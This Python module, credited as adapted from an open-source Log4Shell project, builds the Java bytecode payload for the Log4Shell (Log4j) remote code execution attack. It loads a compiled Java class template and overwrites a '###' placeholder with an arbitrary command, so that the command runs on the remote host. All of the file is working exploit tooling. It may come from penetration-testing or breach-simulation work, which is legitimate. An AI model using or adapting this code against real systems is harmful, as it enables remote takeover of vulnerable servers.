import struct
from pathlib import Path

# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce

INJECTION_TAG = "###"


class InvalidExploitTemplateError(Exception):
    pass


def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
    """
    Build a payload used to exploit log4shell
    :param str payload_command: The command that will be executed on the remote host.
    :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
                                       the placeholder "###". This placeholder will be overwritten
                                       with the contents of payload_command.
    :return: Java bytecode that will execute the payload
    :rtype: bytes
    """
    template_bytecode = _load_template_bytecode(exploit_template_path)
    exploit_bytecode = _inject_payload(payload_command, template_bytecode)

    return exploit_bytecode


def _load_template_bytecode(exploit_template_path: Path) -> bytes:
    with open(exploit_template_path, "rb") as h:
        template_bytecode = h.read()

    if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
        raise InvalidExploitTemplateError(
            f'The file "{exploit_template_path}" is not a compiled Java class'
        )

    return template_bytecode


def _inject_payload(payload: str, template_bytecode: bytes):
    payload_bytes = payload.encode()

    if not INJECTION_TAG.encode() in template_bytecode:
        raise InvalidExploitTemplateError(
            f'Unable to find "{INJECTION_TAG}" tag in the template bytecode'
        )

    index = template_bytecode.index(INJECTION_TAG.encode())

    exploit_bytecode = (
        template_bytecode[: index - 3]
        + str_size(payload_bytes)
        + payload_bytes
        + template_bytecode[index + 3 :]
    )

    return exploit_bytecode


def str_size(data: bytes) -> bytes:
    return b"\x01" + struct.pack("!H", len(data))
